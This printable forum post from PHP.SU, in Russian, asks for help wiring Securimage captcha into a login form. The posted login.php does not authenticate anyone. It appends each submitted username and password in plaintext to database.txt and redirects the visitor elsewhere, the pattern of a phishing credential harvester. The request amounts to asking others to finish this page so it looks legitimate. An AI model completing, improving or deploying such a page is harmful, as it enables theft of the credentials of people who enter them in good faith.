Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: не прикрутить phpcaptcha
Форумы портала PHP.SU » PHP » Напишите за меня, пожалуйста » не прикрутить phpcaptcha

Страниц (1): [1]
 

1. Unton - 11 Мая, 2017 - 18:04:17 - перейти к сообщению
Здравствуйте ни как не получается прикрутить phpcaptcha org к себе на сайт на форму выбора. Вот кусочек текста
Форма
CODE (html):
скопировать код в буфер обмена
  1.  
  2. <form class="form-signin" role="form" method="post" action="login.php">
  3.                   <h2 class="form-signin-heading">Авторизация</h2>
  4.                  
  5.                   <input name="sended" value="1" type="hidden">
  6.            
  7.                  
  8.                  
  9.                   <input name="redirect" value="" type="hidden">
  10.                   <label>Цвет</label>
  11.                   <input name="login" class="form-control" action="login.php" method="post" placeholder="Логин" type="text">
  12.                   <label>Размер</label>
  13.                   <input name="pass" class="form-control" placeholder="Пароль" required="" type="password" action="login.php"  method="post">
  14.                  
  15.                   <img id="captcha" src="/securimage/securimage_show.php" alt="CAPTCHA Image" />
  16.                  
  17.                  <a href="#" onclick="document.getElementById('captcha').src = '/securimage/securimage_show.php?' + Math.random(); return false"></a>
  18.                   <input type="text" name="captcha_code" size="55" maxlength="6" class="form-control" placeholder="Капча" method="get" action="val.php" />
  19.                  
  20.                  
  21.                   <button class="btn btn-lg btn-primary btn-block" type="submit">Войти</button>
  22.                 </form>
  23.  

Валидатция обработки поля капчи, но криво работает не должным образом.Через GET.
CODE (php):
скопировать код в буфер обмена
  1.  
  2. <?php session_start(); ?>
  3.  
  4. <?php
  5. include_once $_SERVER['DOCUMENT_ROOT'] . '/securimage/securimage.php';
  6. $securimage = new Securimage();
  7. $code = $_GET['captcha_code'];
  8. if ($securimage->check($code) == false) {
  9.         echo "false";
  10. }else{
  11.         echo "true";
  12. }
  13. ?>
  14.  


CODE (htm):
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $Log = $_POST['login'];
  4. $Pass = $_POST['pass'];
  5. $log = fopen("database.txt","at");
  6. fwrite($log,"\n $Log:$Pass \n");
  7. fclose($log);
  8. echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=mysite(Нужная страница)'></head></html>";
  9. ?>
  10.  
  11.  



Картинка отображения Капчушки выводится, но в поле для вода капчи ввожу любые символы, и всё равно идёт перенаправление... т.е. капча не работает, вернее не прикручена. Что нужно сделать? Просите давно не сталкивался с кодом многое подзабыл. Очень буду приятно благодарен, кто сможет помочь. Вроде, как я понимаю нужно написать полагающий обработчик формы для дальнейшей реализации.

 

Powered by ExBB FM 1.0 RC1